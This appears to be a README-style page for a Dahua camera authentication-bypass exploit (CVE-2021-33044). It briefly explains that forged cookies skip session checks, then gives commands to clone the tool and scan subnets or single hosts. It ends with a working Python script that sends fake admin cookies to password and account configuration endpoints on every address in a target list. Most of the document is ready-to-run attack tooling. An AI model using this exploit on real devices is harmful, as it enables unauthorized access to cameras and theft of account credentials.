→ 客户端发送带有任意cookie的HTTP请求
→ 摄像头在界面层检查cookie
→ 后端未验证有效session
→ 允许直接访问内部配置端点
→ 返回敏感数据

# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044

pip install requests

# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800

# Single host with port
python dahua_scanner.py https://example.com

python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044  #CVE
python dahua_exploit.py --help

python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com  # Dump thiết bị sau khi bypass

#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()

def dump_accounts(ip, port=80):
    base = f"http://{ip}:{port}"
    cookies = {
        "userName": "admin",
        "userLevel": "1",
        "sessionID": "00000000"
    }
    urls = [
        "/current_config/passwd",
        "/current_config/Account1",
        "/current_config/UserMgr",
        "/current_config/accounts"
    ]

    for path in urls:
        try:
            r = requests.get(
                base + path,
                cookies=cookies,
                verify=False,
                timeout=8
            )
            if r.status_code == 200 and len(r.text) > 30:
                print(f"[+] {ip}:{port}  VULNERABLE → {path}")
                return
        except:
            pass

    print(f"[-] {ip}:{port}  safe / patched")

for line in open("targets.txt"):
    t = line.strip()
    if not t or t.startswith("#"):
        continue
    ip = t.split(":")[0]
    port = int(t.split(":")[1]) if ":" in t else 80
    dump_accounts(ip, port)